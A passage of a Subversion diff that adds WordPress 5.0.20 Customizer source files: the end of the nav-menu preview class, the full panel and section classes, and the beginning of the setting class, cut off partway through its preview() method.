+	public function filter_wp_nav_menu( $nav_menu_content, $args ) {
+		if ( isset( $args->customize_preview_nav_menus_args['can_partial_refresh'] ) && $args->customize_preview_nav_menus_args['can_partial_refresh'] ) {
+			$attributes = sprintf( ' data-customize-partial-id="%s"', esc_attr( 'nav_menu_instance[' . $args->customize_preview_nav_menus_args['args_hmac'] . ']' ) );
+			$attributes .= ' data-customize-partial-type="nav_menu_instance"';
+			$attributes .= sprintf( ' data-customize-partial-placement-context="%s"', esc_attr( wp_json_encode( $args->customize_preview_nav_menus_args ) ) );
+			$nav_menu_content = preg_replace( '#^(<\w+)#', '$1 ' . str_replace( '\\', '\\\\', $attributes ), $nav_menu_content, 1 );
+		}
+		return $nav_menu_content;
+	}
+
+	/**
+	 * Hashes (hmac) the nav menu arguments to ensure they are not tampered with when
+	 * submitted in the Ajax request.
+	 *
+	 * Note that the array is expected to be pre-sorted.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array $args The arguments to hash.
+	 * @return string Hashed nav menu arguments.
+	 */
+	public function hash_nav_menu_args( $args ) {
+		return wp_hash( serialize( $args ) );
+	}
+
+	/**
+	 * Enqueue scripts for the Customizer preview.
+	 *
+	 * @since 4.3.0
+	 */
+	public function customize_preview_enqueue_deps() {
+		wp_enqueue_script( 'customize-preview-nav-menus' ); // Note that we have overridden this.
+	}
+
+	/**
+	 * Exports data from PHP to JS.
+	 *
+	 * @since 4.3.0
+	 */
+	public function export_preview_data() {
+
+		// Why not wp_localize_script? Because we're not localizing, and it forces values into strings.
+		$exports = array(
+			'navMenuInstanceArgs' => $this->preview_nav_menu_instance_args,
+		);
+		printf( '<script>var _wpCustomizePreviewNavMenusExports = %s;</script>', wp_json_encode( $exports ) );
+	}
+
+	/**
+	 * Export any wp_nav_menu() calls during the rendering of any partials.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param array $response Response.
+	 * @return array Response.
+	 */
+	public function export_partial_rendered_nav_menu_instances( $response ) {
+		$response['nav_menu_instance_args'] = $this->preview_nav_menu_instance_args;
+		return $response;
+	}
+
+	/**
+	 * Render a specific menu via wp_nav_menu() using the supplied arguments.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see wp_nav_menu()
+	 *
+	 * @param WP_Customize_Partial $partial       Partial.
+	 * @param array                $nav_menu_args Nav menu args supplied as container context.
+	 * @return string|false
+	 */
+	public function render_nav_menu_partial( $partial, $nav_menu_args ) {
+		unset( $partial );
+
+		if ( ! isset( $nav_menu_args['args_hmac'] ) ) {
+			// Error: missing_args_hmac.
+			return false;
+		}
+
+		$nav_menu_args_hmac = $nav_menu_args['args_hmac'];
+		unset( $nav_menu_args['args_hmac'] );
+
+		ksort( $nav_menu_args );
+		if ( ! hash_equals( $this->hash_nav_menu_args( $nav_menu_args ), $nav_menu_args_hmac ) ) {
+			// Error: args_hmac_mismatch.
+			return false;
+		}
+
+		ob_start();
+		wp_nav_menu( $nav_menu_args );
+		$content = ob_get_clean();
+
+		return $content;
+	}
+}
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-panel.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-panel.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-panel.php	(revision 56912)
@@ -0,0 +1,382 @@
+<?php
+/**
+ * WordPress Customize Panel classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 4.0.0
+ */
+
+/**
+ * Customize Panel class.
+ *
+ * A UI container for sections, managed by the WP_Customize_Manager.
+ *
+ * @since 4.0.0
+ *
+ * @see WP_Customize_Manager
+ */
+class WP_Customize_Panel {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @static
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
+	 * @since 4.1.0
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 4.0.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Priority of the panel, defining the display order of panels and sections.
+	 *
+	 * @since 4.0.0
+	 * @var integer
+	 */
+	public $priority = 160;
+
+	/**
+	 * Capability required for the panel.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Theme feature support for the panel.
+	 *
+	 * @since 4.0.0
+	 * @var string|array
+	 */
+	public $theme_supports = '';
+
+	/**
+	 * Title of the panel to show in UI.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $title = '';
+
+	/**
+	 * Description to show in the UI.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * Auto-expand a section in a panel when the panel is expanded when the panel only has the one section.
+	 *
+	 * @since 4.7.4
+	 * @var bool
+	 */
+	public $auto_expand_sole_section = false;
+
+	/**
+	 * Customizer sections for this panel.
+	 *
+	 * @since 4.0.0
+	 * @var array
+	 */
+	public $sections;
+
+	/**
+	 * Type of this panel.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $type = 'default';
+
+	/**
+	 * Active callback.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @see WP_Customize_Section::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               WP_Customize_Section, and returns bool to indicate whether
+	 *               the section is active (such as it relates to the URL currently
+	 *               being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      An specific ID for the panel.
+	 * @param array                $args    Panel arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		$this->sections = array(); // Users cannot customize the $sections array.
+	}
+
+	/**
+	 * Check whether panel is active to current Customizer preview.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return bool Whether the panel is active to the current preview.
+	 */
+	final public function active() {
+		$panel = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filters response of WP_Customize_Panel::active().
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param bool               $active Whether the Customizer panel is active.
+		 * @param WP_Customize_Panel $panel  WP_Customize_Panel instance.
+		 */
+		$active = apply_filters( 'customize_panel_active', $active, $panel );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking WP_Customize_Panel::active().
+	 *
+	 * Subclasses can override this with their specific logic, or they may
+	 * provide an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return bool Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'type' ) );
+		$array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
+		$array['content'] = $this->get_content();
+		$array['active'] = $this->active();
+		$array['instanceNumber'] = $this->instance_number;
+		$array['autoExpandSoleSection'] = $this->auto_expand_sole_section;
+		return $array;
+	}
+
+	/**
+	 * Checks required user capabilities and whether the theme has the
+	 * feature support required by the panel.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @return bool False if theme doesn't support the panel or the user doesn't have the capability.
+	 */
+	final public function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) ) {
+			return false;
+		}
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the panel's content template for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Content for the panel.
+	 */
+	final public function get_content() {
+		ob_start();
+		$this->maybe_render();
+		return trim( ob_get_clean() );
+	}
+
+	/**
+	 * Check capabilities and render the panel.
+	 *
+	 * @since 4.0.0
+	 */
+	final public function maybe_render() {
+		if ( ! $this->check_capabilities() ) {
+			return;
+		}
+
+		/**
+		 * Fires before rendering a Customizer panel.
+		 *
+		 * @since 4.0.0
+		 *
+		 * @param WP_Customize_Panel $this WP_Customize_Panel instance.
+		 */
+		do_action( 'customize_render_panel', $this );
+
+		/**
+		 * Fires before rendering a specific Customizer panel.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to
+		 * the ID of the specific Customizer panel to be rendered.
+		 *
+		 * @since 4.0.0
+		 */
+		do_action( "customize_render_panel_{$this->id}" );
+
+		$this->render();
+	}
+
+	/**
+	 * Render the panel container, and then its contents (via `this->render_content()`) in a subclass.
+	 *
+	 * Panel containers are now rendered in JS by default, see WP_Customize_Panel::print_template().
+	 *
+	 * @since 4.0.0
+	 */
+	protected function render() {}
+
+	/**
+	 * Render the panel UI in a subclass.
+	 *
+	 * Panel contents are now rendered in JS by default, see WP_Customize_Panel::print_template().
+	 *
+	 * @since 4.1.0
+	 */
+	protected function render_content() {}
+
+	/**
+	 * Render the panel's JS templates.
+	 *
+	 * This function is only run for panel types that have been registered with
+	 * WP_Customize_Manager::register_panel_type().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Manager::register_panel_type()
+	 */
+	public function print_template() {
+		?>
+		<script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>-content">
+			<?php $this->content_template(); ?>
+		</script>
+		<script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>">
+			<?php $this->render_template(); ?>
+		</script>
+        <?php
+	}
+
+	/**
+	 * An Underscore (JS) template for rendering this panel's container.
+	 *
+	 * Class variables for this panel class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Panel::json().
+	 *
+	 * @see WP_Customize_Panel::print_template()
+	 *
+	 * @since 4.3.0
+	 */
+	protected function render_template() {
+		?>
+		<li id="accordion-panel-{{ data.id }}" class="accordion-section control-section control-panel control-panel-{{ data.type }}">
+			<h3 class="accordion-section-title" tabindex="0">
+				{{ data.title }}
+				<span class="screen-reader-text"><?php _e( 'Press return or enter to open this panel' ); ?></span>
+			</h3>
+			<ul class="accordion-sub-container control-panel-content"></ul>
+		</li>
+		<?php
+	}
+
+	/**
+	 * An Underscore (JS) template for this panel's content (but not its container).
+	 *
+	 * Class variables for this panel class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Panel::json().
+	 *
+	 * @see WP_Customize_Panel::print_template()
+	 *
+	 * @since 4.3.0
+	 */
+	protected function content_template() {
+		?>
+		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
+			<button class="customize-panel-back" tabindex="-1"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button>
+			<div class="accordion-section-title">
+				<span class="preview-notice"><?php
+					/* translators: %s: the site/panel title in the Customizer */
+					echo sprintf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
+				?></span>
+				<# if ( data.description ) { #>
+					<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
+				<# } #>
+			</div>
+			<# if ( data.description ) { #>
+				<div class="description customize-panel-description">
+					{{{ data.description }}}
+				</div>
+			<# } #>
+
+			<div class="customize-control-notifications-container"></div>
+		</li>
+		<?php
+	}
+}
+
+/** WP_Customize_Nav_Menus_Panel class */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php' );
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-section.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-section.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-section.php	(revision 56912)
@@ -0,0 +1,398 @@
+<?php
+/**
+ * WordPress Customize Section classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+/**
+ * Customize Section class.
+ *
+ * A UI container for controls, managed by the WP_Customize_Manager class.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Manager
+ */
+class WP_Customize_Section {
+
+	/**
+	 * Incremented with each new class instantiation, then stored in $instance_number.
+	 *
+	 * Used when sorting two instances whose priorities are equal.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @static
+	 * @var int
+	 */
+	protected static $instance_count = 0;
+
+	/**
+	 * Order in which this instance was created in relation to other instances.
+	 *
+	 * @since 4.1.0
+	 * @var int
+	 */
+	public $instance_number;
+
+	/**
+	 * WP_Customize_Manager instance.
+	 *
+	 * @since 3.4.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Unique identifier.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Priority of the section which informs load order of sections.
+	 *
+	 * @since 3.4.0
+	 * @var integer
+	 */
+	public $priority = 160;
+
+	/**
+	 * Panel in which to show the section, making it a sub-section.
+	 *
+	 * @since 4.0.0
+	 * @var string
+	 */
+	public $panel = '';
+
+	/**
+	 * Capability required for the section.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Theme feature support for the section.
+	 *
+	 * @since 3.4.0
+	 * @var string|array
+	 */
+	public $theme_supports = '';
+
+	/**
+	 * Title of the section to show in UI.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $title = '';
+
+	/**
+	 * Description to show in the UI.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $description = '';
+
+	/**
+	 * Customizer controls for this section.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	public $controls;
+
+	/**
+	 * Type of this section.
+	 *
+	 * @since 4.1.0
+	 * @var string
+	 */
+	public $type = 'default';
+
+	/**
+	 * Active callback.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @see WP_Customize_Section::active()
+	 *
+	 * @var callable Callback is called with one argument, the instance of
+	 *               WP_Customize_Section, and returns bool to indicate whether
+	 *               the section is active (such as it relates to the URL currently
+	 *               being previewed).
+	 */
+	public $active_callback = '';
+
+	/**
+	 * Show the description or hide it behind the help icon.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @var bool Indicates whether the Section's description should be
+	 *           hidden behind a help icon ("?") in the Section header,
+	 *           similar to how help icons are displayed on Panels.
+	 */
+	public $description_hidden = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
+	 * @param string               $id      An specific ID of the section.
+	 * @param array                $args    Section arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+		if ( empty( $this->active_callback ) ) {
+			$this->active_callback = array( $this, 'active_callback' );
+		}
+		self::$instance_count += 1;
+		$this->instance_number = self::$instance_count;
+
+		$this->controls = array(); // Users cannot customize the $controls array.
+	}
+
+	/**
+	 * Check whether section is active to current Customizer preview.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return bool Whether the section is active to the current preview.
+	 */
+	final public function active() {
+		$section = $this;
+		$active = call_user_func( $this->active_callback, $this );
+
+		/**
+		 * Filters response of WP_Customize_Section::active().
+		 *
+		 * @since 4.1.0
+		 *
+		 * @param bool                 $active  Whether the Customizer section is active.
+		 * @param WP_Customize_Section $section WP_Customize_Section instance.
+		 */
+		$active = apply_filters( 'customize_section_active', $active, $section );
+
+		return $active;
+	}
+
+	/**
+	 * Default callback used when invoking WP_Customize_Section::active().
+	 *
+	 * Subclasses can override this with their specific logic, or they may provide
+	 * an 'active_callback' argument to the constructor.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return true Always true.
+	 */
+	public function active_callback() {
+		return true;
+	}
+
+	/**
+	 * Gather the parameters passed to client JavaScript via JSON.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return array The array to be exported to the client as JSON.
+	 */
+	public function json() {
+		$array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden' ) );
+		$array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
+		$array['content'] = $this->get_content();
+		$array['active'] = $this->active();
+		$array['instanceNumber'] = $this->instance_number;
+
+		if ( $this->panel ) {
+			/* translators: &#9656; is the unicode right-pointing triangle, and %s is the section title in the Customizer */
+			$array['customizeAction'] = sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( $this->panel )->title ) );
+		} else {
+			$array['customizeAction'] = __( 'Customizing' );
+		}
+
+		return $array;
+	}
+
+	/**
+	 * Checks required user capabilities and whether the theme has the
+	 * feature support required by the section.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @return bool False if theme doesn't support the section or user doesn't have the capability.
+	 */
+	final public function check_capabilities() {
+		if ( $this->capability && ! call_user_func_array( 'current_user_can', (array) $this->capability ) ) {
+			return false;
+		}
+
+		if ( $this->theme_supports && ! call_user_func_array( 'current_theme_supports', (array) $this->theme_supports ) ) {
+			return false;
+		}
+
+		return true;
+	}
+
+	/**
+	 * Get the section's content for insertion into the Customizer pane.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @return string Contents of the section.
+	 */
+	final public function get_content() {
+		ob_start();
+		$this->maybe_render();
+		return trim( ob_get_clean() );
+	}
+
+	/**
+	 * Check capabilities and render the section.
+	 *
+	 * @since 3.4.0
+	 */
+	final public function maybe_render() {
+		if ( ! $this->check_capabilities() ) {
+			return;
+		}
+
+		/**
+		 * Fires before rendering a Customizer section.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param WP_Customize_Section $this WP_Customize_Section instance.
+		 */
+		do_action( 'customize_render_section', $this );
+		/**
+		 * Fires before rendering a specific Customizer section.
+		 *
+		 * The dynamic portion of the hook name, `$this->id`, refers to the ID
+		 * of the specific Customizer section to be rendered.
+		 *
+		 * @since 3.4.0
+		 */
+		do_action( "customize_render_section_{$this->id}" );
+
+		$this->render();
+	}
+
+	/**
+	 * Render the section UI in a subclass.
+	 *
+	 * Sections are now rendered in JS by default, see WP_Customize_Section::print_template().
+	 *
+	 * @since 3.4.0
+	 */
+	protected function render() {}
+
+	/**
+	 * Render the section's JS template.
+	 *
+	 * This function is only run for section types that have been registered with
+	 * WP_Customize_Manager::register_section_type().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Manager::render_template()
+	 */
+	public function print_template() {
+		?>
+		<script type="text/html" id="tmpl-customize-section-<?php echo $this->type; ?>">
+			<?php $this->render_template(); ?>
+		</script>
+		<?php
+	}
+
+	/**
+	 * An Underscore (JS) template for rendering this section.
+	 *
+	 * Class variables for this section class are available in the `data` JS object;
+	 * export custom variables by overriding WP_Customize_Section::json().
+	 *
+	 * @since 4.3.0
+	 *
+	 * @see WP_Customize_Section::print_template()
+	 */
+	protected function render_template() {
+		?>
+		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }}">
+			<h3 class="accordion-section-title" tabindex="0">
+				{{ data.title }}
+				<span class="screen-reader-text"><?php _e( 'Press return or enter to open this section' ); ?></span>
+			</h3>
+			<ul class="accordion-section-content">
+				<li class="customize-section-description-container section-meta <# if ( data.description_hidden ) { #>customize-info<# } #>">
+					<div class="customize-section-title">
+						<button class="customize-section-back" tabindex="-1">
+							<span class="screen-reader-text"><?php _e( 'Back' ); ?></span>
+						</button>
+						<h3>
+							<span class="customize-action">
+								{{{ data.customizeAction }}}
+							</span>
+							{{ data.title }}
+						</h3>
+						<# if ( data.description && data.description_hidden ) { #>
+							<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button>
+							<div class="description customize-section-description">
+								{{{ data.description }}}
+							</div>
+						<# } #>
+
+						<div class="customize-control-notifications-container"></div>
+					</div>
+
+					<# if ( data.description && ! data.description_hidden ) { #>
+						<div class="description customize-section-description">
+							{{{ data.description }}}
+						</div>
+					<# } #>
+				</li>
+			</ul>
+		</li>
+		<?php
+	}
+}
+
+/** WP_Customize_Themes_Section class */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php' );
+
+/** WP_Customize_Sidebar_Section class */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php' );
+
+/** WP_Customize_Nav_Menu_Section class */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php' );
+
+/**
+ * WP_Customize_New_Menu_Section class
+ *
+ * As this file is deprecated, it will trigger a deprecation notice if instantiated. In a subsequent
+ * release, the require_once() here will be removed and _deprecated_file() will be called if file is
+ * required at all.
+ *
+ * @deprecated 4.9.0 This file is no longer used due to new menu creation UX.
+ */
+require_once( ABSPATH . WPINC . '/customize/class-wp-customize-new-menu-section.php' );
Index: /tags/5.0.20/src/wp-includes/class-wp-customize-setting.php
===================================================================
--- /tags/5.0.20/src/wp-includes/class-wp-customize-setting.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/class-wp-customize-setting.php	(revision 56912)
@@ -0,0 +1,958 @@
+<?php
+/**
+ * WordPress Customize Setting classes
+ *
+ * @package WordPress
+ * @subpackage Customize
+ * @since 3.4.0
+ */
+
+/**
+ * Customize Setting class.
+ *
+ * Handles saving and sanitizing of settings.
+ *
+ * @since 3.4.0
+ *
+ * @see WP_Customize_Manager
+ */
+class WP_Customize_Setting {
+	/**
+	 * Customizer bootstrap instance.
+	 *
+	 * @since 3.4.0
+	 * @var WP_Customize_Manager
+	 */
+	public $manager;
+
+	/**
+	 * Unique string identifier for the setting.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $id;
+
+	/**
+	 * Type of customize settings.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $type = 'theme_mod';
+
+	/**
+	 * Capability required to edit this setting.
+	 *
+	 * @since 3.4.0
+	 * @var string|array
+	 */
+	public $capability = 'edit_theme_options';
+
+	/**
+	 * Feature a theme is required to support to enable this setting.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $theme_supports = '';
+
+	/**
+	 * The default value for the setting.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $default = '';
+
+	/**
+	 * Options for rendering the live preview of changes in Theme Customizer.
+	 *
+	 * Set this value to 'postMessage' to enable a custom Javascript handler to render changes to this setting
+	 * as opposed to reloading the whole page.
+	 *
+	 * @link https://developer.wordpress.org/themes/customize-api
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $transport = 'refresh';
+
+	/**
+	 * Server-side validation callback for the setting's value.
+	 *
+	 * @since 4.6.0
+	 * @var callable
+	 */
+	public $validate_callback = '';
+
+	/**
+	 * Callback to filter a Customize setting value in un-slashed form.
+	 *
+	 * @since 3.4.0
+	 * @var callable
+	 */
+	public $sanitize_callback = '';
+
+	/**
+	 * Callback to convert a Customize PHP setting value to a value that is JSON serializable.
+	 *
+	 * @since 3.4.0
+	 * @var string
+	 */
+	public $sanitize_js_callback = '';
+
+	/**
+	 * Whether or not the setting is initially dirty when created.
+	 *
+	 * This is used to ensure that a setting will be sent from the pane to the
+	 * preview when loading the Customizer. Normally a setting only is synced to
+	 * the preview if it has been changed. This allows the setting to be sent
+	 * from the start.
+	 *
+	 * @since 4.2.0
+	 * @var bool
+	 */
+	public $dirty = false;
+
+	/**
+	 * ID Data.
+	 *
+	 * @since 3.4.0
+	 * @var array
+	 */
+	protected $id_data = array();
+
+	/**
+	 * Whether or not preview() was called.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	protected $is_previewed = false;
+
+	/**
+	 * Cache of multidimensional values to improve performance.
+	 *
+	 * @since 4.4.0
+	 * @static
+	 * @var array
+	 */
+	protected static $aggregated_multidimensionals = array();
+
+	/**
+	 * Whether the multidimensional setting is aggregated.
+	 *
+	 * @since 4.4.0
+	 * @var bool
+	 */
+	protected $is_multidimensional_aggregated = false;
+
+	/**
+	 * Constructor.
+	 *
+	 * Any supplied $args override class property defaults.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param WP_Customize_Manager $manager
+	 * @param string               $id      An specific ID of the setting. Can be a
+	 *                                      theme mod or option name.
+	 * @param array                $args    Setting arguments.
+	 */
+	public function __construct( $manager, $id, $args = array() ) {
+		$keys = array_keys( get_object_vars( $this ) );
+		foreach ( $keys as $key ) {
+			if ( isset( $args[ $key ] ) ) {
+				$this->$key = $args[ $key ];
+			}
+		}
+
+		$this->manager = $manager;
+		$this->id = $id;
+
+		// Parse the ID for array keys.
+		$this->id_data['keys'] = preg_split( '/\[/', str_replace( ']', '', $this->id ) );
+		$this->id_data['base'] = array_shift( $this->id_data['keys'] );
+
+		// Rebuild the ID.
+		$this->id = $this->id_data[ 'base' ];
+		if ( ! empty( $this->id_data[ 'keys' ] ) ) {
+			$this->id .= '[' . implode( '][', $this->id_data['keys'] ) . ']';
+		}
+
+		if ( $this->validate_callback ) {
+			add_filter( "customize_validate_{$this->id}", $this->validate_callback, 10, 3 );
+		}
+		if ( $this->sanitize_callback ) {
+			add_filter( "customize_sanitize_{$this->id}", $this->sanitize_callback, 10, 2 );
+		}
+		if ( $this->sanitize_js_callback ) {
+			add_filter( "customize_sanitize_js_{$this->id}", $this->sanitize_js_callback, 10, 2 );
+		}
+
+		if ( 'option' === $this->type || 'theme_mod' === $this->type ) {
+			// Other setting types can opt-in to aggregate multidimensional explicitly.
+			$this->aggregate_multidimensional();
+
+			// Allow option settings to indicate whether they should be autoloaded.
+			if ( 'option' === $this->type && isset( $args['autoload'] ) ) {
+				self::$aggregated_multidimensionals[ $this->type ][ $this->id_data['base'] ]['autoload'] = $args['autoload'];
+			}
+		}
+	}
+
+	/**
+	 * Get parsed ID data for multidimensional setting.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array {
+	 *     ID data for multidimensional setting.
+	 *
+	 *     @type string $base ID base
+	 *     @type array  $keys Keys for multidimensional array.
+	 * }
+	 */
+	final public function id_data() {
+		return $this->id_data;
+	}
+
+	/**
+	 * Set up the setting for aggregated multidimensional values.
+	 *
+	 * When a multidimensional setting gets aggregated, all of its preview and update
+	 * calls get combined into one call, greatly improving performance.
+	 *
+	 * @since 4.4.0
+	 */
+	protected function aggregate_multidimensional() {
+		$id_base = $this->id_data['base'];
+		if ( ! isset( self::$aggregated_multidimensionals[ $this->type ] ) ) {
+			self::$aggregated_multidimensionals[ $this->type ] = array();
+		}
+		if ( ! isset( self::$aggregated_multidimensionals[ $this->type ][ $id_base ] ) ) {
+			self::$aggregated_multidimensionals[ $this->type ][ $id_base ] = array(
+				'previewed_instances'       => array(), // Calling preview() will add the $setting to the array.
+				'preview_applied_instances' => array(), // Flags for which settings have had their values applied.
+				'root_value'                => $this->get_root_value( array() ), // Root value for initial state, manipulated by preview and update calls.
+			);
+		}
+
+		if ( ! empty( $this->id_data['keys'] ) ) {
+			// Note the preview-applied flag is cleared at priority 9 to ensure it is cleared before a deferred-preview runs.
+			add_action( "customize_post_value_set_{$this->id}", array( $this, '_clear_aggregated_multidimensional_preview_applied_flag' ), 9 );
+			$this->is_multidimensional_aggregated = true;
+		}
+	}
+
+	/**
+	 * Reset `$aggregated_multidimensionals` static variable.
+	 *
+	 * This is intended only for use by unit tests.
+	 *
+	 * @since 4.5.0
+	 * @ignore
+	 */
+	static public function reset_aggregated_multidimensionals() {
+		self::$aggregated_multidimensionals = array();
+	}
+
+	/**
+	 * The ID for the current site when the preview() method was called.
+	 *
+	 * @since 4.2.0
+	 * @var int
+	 */
+	protected $_previewed_blog_id;
+
+	/**
+	 * Return true if the current site is not the same as the previewed site.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @return bool If preview() has been called.
+	 */
+	public function is_current_blog_previewed() {
+		if ( ! isset( $this->_previewed_blog_id ) ) {
+			return false;
+		}
+		return ( get_current_blog_id() === $this->_previewed_blog_id );
+	}
+
+	/**
+	 * Original non-previewed value stored by the preview method.
+	 *
+	 * @see WP_Customize_Setting::preview()
+	 * @since 4.1.1
+	 * @var mixed
+	 */
+	protected $_original_value;
+
+	/**
+	 * Add filters to supply the setting's value when accessed.
+	 *
+	 * If the setting already has a pre-existing value and there is no incoming
+	 * post value for the setting, then this method will short-circuit since
+	 * there is no change to preview.
+	 *
+	 * @since 3.4.0
+	 * @since 4.4.0 Added boolean return value.
+	 *
+	 * @return bool False when preview short-circuits due no change needing to be previewed.
+	 */
+	public function preview() {
+		if ( ! isset( $this->_previewed_blog_id ) ) {
+			$this->_previewed_blog_id = get_current_blog_id();
+		}
+
+		// Prevent re-previewing an already-previewed setting.
+		if ( $this->is_previewed ) {
+			return true;
+		}
+
+		$id_base = $this->id_data['base'];
+		$is_multidimensional = ! empty( $this->id_data['keys'] );
